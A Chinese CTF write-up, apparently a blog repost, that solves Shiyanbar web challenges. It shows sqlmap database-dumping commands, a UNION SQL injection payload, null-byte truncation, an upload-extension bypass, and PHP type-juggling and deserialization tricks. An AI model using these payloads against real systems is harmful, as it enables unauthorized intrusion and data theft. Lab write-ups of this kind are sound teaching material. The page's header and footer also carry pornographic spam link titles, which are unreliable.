日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

实验吧CTF题库-WEB题(部分)

發布時間:2024/4/24 综合教程 32 生活家
生活随笔 收集整理的這篇文章主要介紹了 实验吧CTF题库-WEB题(部分) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

看起來有點難

提交admin

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

用sqlmap檢測是否有注入

┌─[root@sch01ar]─[/sch01ar]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"

存在注入

對數據進行讀取

┌─[root@sch01ar]─[/sch01ar]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
┌─[root@sch01ar]─[/sch01ar]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
┌─[root@sch01ar]─[/sch01ar]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"

讀出賬號密碼

登陸,得到flag

貓抓老鼠

源代碼沒什么情況,也沒有注入,抓包查看

go一下

返回包中有一個Content-Row: MTUxMjU4MzgwNA==

把MTUxMjU4MzgwNA==替換掉pass_key的1,go

得到flag

頭有點大

根據提示,要用.net framework 9.9,地址來自英國,瀏覽器是IE

抓包改頭,發包

得到flag

也通過可以設置Modify Headers

訪問網頁得到flag

貌似有點難

我訪問的ip不在列表里,查看一下源碼

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
	$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
	$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
	$cip = $_SERVER["REMOTE_ADDR"];
else
	$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "錯誤!你的IP不在訪問列表之內!";
}
?>

當ip為1.1.1.1時能得到flag

使用火狐插件X-Forwarded-For

把ip地址改為1.1.1.1

刷新網頁,得到flag

這個看起來有點簡單!

通過簡單的判斷,存在注入漏洞

直接上sqlmap

┌─[root@sch01ar]─[~]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
┌─[root@sch01ar]─[~]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db" 
┌─[root@sch01ar]─[~]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db"
┌─[root@sch01ar]─[~]
└──? #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db"

得到flag

PHP大法

訪問地址,會提示訪問index.php.txt

訪問index.php.txt,得到源碼

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

第一個if語句,對傳入的參數id和字符串"hackerDJ"進行判斷,如果傳入的參數id的值為"hackerDJ",則輸出"not allowed"

參數id的值等于url解碼后的參數id的值

第二個if語句,判斷傳入的參數id是否為hackerDJ,如果是的話就輸出flag

因為對hackerDJ的一次url編碼會被瀏覽器轉為hackerDJ,所以要進行兩次的url編碼

得到flag

what a fuck!這是什么鬼東西?

這是JsFuck加密的,直接解碼就好了

直接用工具

程序邏輯問題

右鍵查看源代碼,發現一個txt

點擊,得到index.php的源代碼

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]); //對傳入的pass變量進行md5加密,并賦給變量pass

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql); //將查詢語句的結果賦值給變量query
if (!$query) { //判斷變量query是否為空
	printf("Error: %s
", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); //將變量query的值以MYSQL_ASSOC格式賦給變量row
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //將變量row中的pw字段和pass的值進行忽略大小寫的比較
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

代碼中沒有判斷變量user,只要變量row的pw字段和變量pass的值一樣就能得到flag

構造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin

POST,得到flag

NSCTF web200

解密這段密文,寫個php腳本

<?php
    function decode($str)
    {
        $_ = '';
        $a = str_rot13($str);
        $b = strrev($a);
        $c = base64_decode($b);
        $d = strrev($c);
        for($i=0;$i<strlen($d);$i++)
        {
            $_c = substr($d,$i,1);
            $__ = ord($_c)-1;
            $_c = chr($__);
            $_ = $_.$_c;
        }
        return $_;
    }
    echo decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");
?>

運行腳本得到flag

上傳繞過

選擇一個jpg文件上傳

上傳的格式要是php的才行,但是不能直接上傳php

用burp抓包改包

在上傳路徑后加一個以php格式結尾的,再截斷

發送,得到flag

FALSE

題目給的提示

訪問鏈接

點擊查看源代碼

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
	echo '<p>Login first!</p>';
?>

傳入的name和password不能一樣,但是name和password的sha1加密的值得相等

想到的是傳數組

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

得到flag

Guess Next Session

猜下一個數,前面這幾個數都是隨機的

查看源代碼

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

當傳入的password和$_SESSION['password']相等時才能得到flag

burp抓包

需要改兩處地方

這兩處置空,發包,得到flag

Once More

題目給了提示

題目提示,該題是php代碼審計題,而且還跟ereg()函數有關,ereg()函數可以%00截斷

訪問鏈接

查看源代碼

<?php
if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
	{
		echo '<p>You password must be alphanumeric</p>';
	}
	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //password的長度要小于8,但是password的大小要大于9999999,可以使用科學計數法
	{
		if (strpos ($_GET['password'], '*-*') !== FALSE) //password里要有*-*才能得到flag
		{
			die('Flag: ' . $flag);
		}
		else
		{
			echo('<p>*-* have not been found</p>');
		}
	}
	else
	{
		echo '<p>Invalid password</p>';
	}
}
?>

password是一個數但是里面要有*_*,則要用到%00截斷

最終構造:

http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

得到flag

忘記密碼了

隨便輸入一個郵箱,點擊提交

彈出了一個對話框

http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????

訪問該鏈接,會出現該界面,但是一晃就跳轉到原本的找回密碼界面

那就抓包看看

代碼是用vim編輯器寫的,vim編輯器

還有一個submit.php,提交發送的地方

vim編輯器有一個特點,會生成一個臨時的備份文件

submit.php生成的就是.submit.php.swp,因為其為隱藏文件,所以前面會有一個點

訪問地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp

看到了一段代碼

........這一行是省略的代碼........

/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的數據 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的代碼........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail'); //變量$token的長度要為10
	if($token!='0') die('fail'); //變量$token的值要為0
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}
	

$token的長度要為10,大小要為0,可以設置為0000000000

郵箱還要是管理員的郵箱

在burp返回的數據包中可以看到管理員郵箱為:admin@simplexue.com

接下來構造訪問鏈接:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

訪問,得到flag

天網管理系統

先右鍵查看網頁源代碼

傳入的username的md5值要為0

PHP在處理哈希值時,會把每一個以0E開頭的哈希值都解釋為0

如果兩個不同的字符串的md5值都是以0E開頭的,那么PHP就會認為他們是相同,都是0

常見的有QNKCDZO

在用戶名框處提交QNKCDZO

返回了一個地址

訪問鏈接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

題目提示,成也布爾,敗也布爾

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
  print_r($flag);
}

unserialize()函數將數據反序列化,serialize()函數將數據序列化

<?php
	$a = array("user" => true,"pass" => true);
	$b = serialize($a);
	echo $b;
	echo "<br>";
	$c = unserialize($b);
	print_r($c);
?>

運行結果

把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作為密碼,用戶名為admin,登陸,得到flag

Forms

提交一個值

報錯

右鍵查看源碼

表單的默認值為0

不填表單直接提交,burp抓包

把0改成其它數字,發包

出現了php源代碼

$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found."; 
}

當提交的值為-19827747736161128312837161661727773716166727272616149001823847的時候就會返回flag

提交-19827747736161128312837161661727773716166727272616149001823847,得到flag

拐彎抹角

一上來就來了一大段的php代碼

完整的php代碼

 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//這道題目本身也有教學的目的
//第一,我們可以構造 /indirection/a/../ /indirection/./ 等等這一類的
//所以,第一個要求就是不得出現 ./
if($flag && strpos($URL, './') !== FALSE){
    $flag = "";
    $stop = 1;        //Pass
}

//第二,我們可以構造  來代替被過濾的 /
//所以,第二個要求就是不得出現 ../
if($flag && strpos($URL, '\') !== FALSE){
    $flag = "";
    $stop = 2;        //Pass
}

//第三,有的系統大小寫通用,例如 indirectioN/
//你也可以用?和#等等的字符繞過,這需要統一解決
//所以,第三個要求對可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
    $flag = "";
    $stop = 3;        //Pass
}

//第四,多個 / 也是可以的
//所以,第四個要求是不得出現 //
if($flag && strpos($URL, '//') !== FALSE){
    $flag = "";
    $stop = 4;        //Pass
}

//第五,顯然加上index.php或者減去index.php都是可以的
//所以我們下一個要求就是必須包含/index.php,并且以此結尾
if($flag && substr($URL, -10) !== '/index.php'){
    $flag = "";
    $stop = 5;        //Not Pass
}

//第六,我們知道在index.php后面加.也是可以的
//所以我們禁止p后面出現.這個符號
if($flag && strpos($URL, 'p.') !== FALSE){
    $flag = "";
    $stop = 6;        //Not Pass
}

//第七,現在是最關鍵的時刻
//你的$URL必須與/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
    $flag = "";
    $stop = 7;        //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
    $code = str_replace('//Pass '; 

這里有7個條件判斷url是否符合條件

1.不能有./ 2.不能有../ 3.不能有大寫字母和?和#符號 4不能有// 5.必須以index.php結尾 6.index.php后面不能出現"."這個符號 7.url要和/indirection/index.php不一樣

首先訪問,http://ctf5.shiyanbar.com/indirection/index.php

后面多了個/

接著訪問,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag

后臺登錄

右鍵查看源代碼

有php源碼

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密碼錯誤!';
		} -->

直接提交.php前的字符串ffifdyop,得到flag

總結

以上是生活随笔為你收集整理的实验吧CTF题库-WEB题(部分)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩激情小视频 | 欧美乱妇狂野欧美在线视频 | av无码精品一区二区三区宅噜噜 | 天堂网在线最新版www中文网 | 亚洲二区一区 | www..99热 | 激情综合五月网 | 精品三级网站 | 成人h视频在线 | 日韩av中文字幕在线播放 | 一本无码aⅴ久久久国产 | 少妇精品无码一区二区免费视频 | 国产精品1页 | 欧美日韩在线一区二区三区 | 日韩av手机在线观看 | 日韩视频免费 | 91精品久久人妻一区二区夜夜夜 | 日韩在线无 | 亚洲综合色视频 | 农村妇女精品一区二区 | yy1111111| 91视频在线观看免费 | 69堂精品 | 久久精品一区二 | 国产美女一区二区三区 | 亚洲av永久无码精品放毛片 | 激情视频一区二区三区 | 欧美黄色大片免费观看 | 国产麻豆精品在线观看 | 日韩人妻精品在线 | 热久久免费视频 | 亚洲精品视频一区二区三区 | 内射国产内射夫妻免费频道 | 97伊人久久 | 一本久久综合 | 日韩第二页 | 毛片一级片 | 成人激情在线视频 | 国产国语性生话播放 | 毛片毛片女人毛片毛片 | 亚洲国产精品18久久久久久 | 在线观看麻豆视频 | 久久久久人妻精品一区二区三区 | 寂寞少妇让水电工爽hd | 玖玖五月 | 91快射 | 一级性毛片 | 特级西西444www大精品视频 | 午夜寂寞剧场 | 国产a级黄色片 | 亚洲无码精品在线播放 | 99久久免费看精品国产一区 | 日批视频 | 日本在线不卡一区二区 | 丁香婷婷亚洲 | 无码乱人伦一区二区亚洲 | 在线观看涩涩视频 | 青青青青青青草 | 国产精品玖玖玖 | 国产98在线 | 岛国av片 | 秋霞福利片 | 嫩草免费视频 | 风流老熟女一区二区三区 | 日韩av片在线 | 999成人网| 日日摸日日碰夜夜爽无码 | 中文字幕一区二区人妻视频 | 色小妹av | 老司机在线永久免费观看 | 精品国产一区二区三区四 | 天堂av网在线 | 探花视频在线免费观看 | 欧美伊人网 | 1000部国产精品成人观看 | 四虎4hu永久免费网站影院 | 亚洲无av | 性爱视频免费 | 久久国产精品波多野结衣 | 国产91大片 | 中文字幕在线视频第一页 | 精品在线视频一区二区三区 | 久草视频精品 | 亚洲小视频在线播放 | 丁香花在线影院观看在线播放 | 亚洲欧美久久 | 日韩二三区| 污版视频在线观看 | 国产日韩av在线播放 | 久久久久久久久久影视 | 欧美一级免费黄色片 | 97伊人| www亚洲成人 | 小sao货大ji巴cao死你 | 亚洲第一伊人 | 久久香焦 | 国产伦精品一区二区三区视频痴汉 | 久久亚洲欧洲 | 秋霞欧美在线观看 |